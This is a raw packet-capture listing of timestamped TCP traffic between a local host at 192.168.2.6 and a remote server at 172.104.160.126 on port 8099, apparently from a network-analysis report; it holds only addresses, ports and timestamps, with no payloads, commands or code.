Jul 22, 2024 15:57:49.210267067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210278034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210283041 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.210289001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210294962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.210305929 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.210371017 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211078882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211091042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211102009 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211112022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211122036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211131096 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211133003 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211143970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211153984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211154938 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211163044 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211174011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211175919 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211185932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211200953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211203098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211214066 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211222887 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211225986 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211236000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211245060 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211266994 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211839914 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211852074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211863041 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.211895943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.211946011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.212039948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212105989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212119102 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212130070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212157011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.212179899 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212191105 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212193012 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.212202072 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.212236881 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.258915901 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299161911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299232006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299268007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299298048 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299302101 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299338102 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299386978 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299390078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299423933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299473047 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299474955 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299508095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299531937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299540997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299575090 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299604893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299607038 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299642086 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299654961 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299674988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299714088 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.299732924 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.299992085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300050974 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300065041 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300098896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300131083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300164938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300179005 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300199032 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300213099 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300234079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300266981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300290108 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300302029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300527096 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300601006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300633907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300668001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300700903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300717115 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300734043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300754070 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300766945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300800085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300832033 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300848961 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300865889 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300887108 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.300899982 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300934076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300966024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.300983906 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301000118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301018953 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301033974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301068068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301115990 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301537991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301572084 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301597118 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301606894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301640034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301659107 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301668882 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301702023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301736116 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301758051 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301768064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301791906 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301801920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301834106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301867962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301884890 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301906109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301919937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.301939964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301975012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.301996946 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302009106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302042961 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302083969 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302428961 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302463055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302488089 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302495956 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302529097 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302547932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302562952 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302596092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302613020 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302628994 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302660942 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302674055 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302694082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302726984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302758932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302772999 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302793026 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302824974 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302826881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302860022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302895069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302913904 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.302927971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.302948952 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303411007 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303445101 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303478003 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303502083 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303510904 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303539038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303544998 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303577900 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303611040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303626060 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303644896 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303672075 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303678036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303710938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303725004 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303744078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303777933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303792000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303811073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303843975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303878069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303891897 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.303911924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.303936005 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304264069 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304297924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304327011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304331064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304364920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304377079 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304398060 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304430962 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304451942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304465055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304526091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304558992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304584026 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304590940 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304625034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304630995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304658890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304678917 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304689884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304723024 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304757118 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304774046 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304806948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.304889917 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304940939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304974079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.304999113 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.305007935 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.305068016 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.305607080 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.305639982 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.305672884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.305701017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.305702925 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.305788040 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391223907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391321898 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391356945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391408920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391416073 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391443014 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391478062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391479969 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391539097 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391585112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391619921 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391653061 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391685963 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391685963 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391721010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391743898 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391841888 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391876936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391910076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391925097 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.391943932 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.391979933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392011881 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392045975 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392240047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392273903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392306089 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392339945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392354012 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392374039 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392393112 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392407894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392441988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392474890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392502069 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392529964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392534018 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392561913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392596960 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392652988 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.392962933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.392996073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393028021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393062115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393084049 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393095970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393110037 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393130064 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393162012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393182993 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393198967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393215895 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393232107 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393264055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393297911 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393313885 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393331051 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393348932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393363953 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393397093 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393429995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393462896 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393481970 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393728018 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393760920 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393795967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393829107 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393845081 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393878937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.393882036 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393915892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393948078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393980980 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.393995047 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394015074 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394033909 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394047976 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394081116 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394109011 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394114017 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394146919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394160986 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394180059 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394212008 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394251108 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394265890 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394300938 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394706964 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394742012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394793987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394795895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394830942 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394862890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394896030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394905090 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394931078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394944906 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.394964933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.394996881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395030022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395045996 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395061970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395086050 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395095110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395128965 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395160913 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395185947 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395194054 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395250082 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395592928 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395627022 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395658970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395669937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395709038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:49.395710945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:49.395745039 CEST	8099	49717	172.104.160.126	192.168.2.6
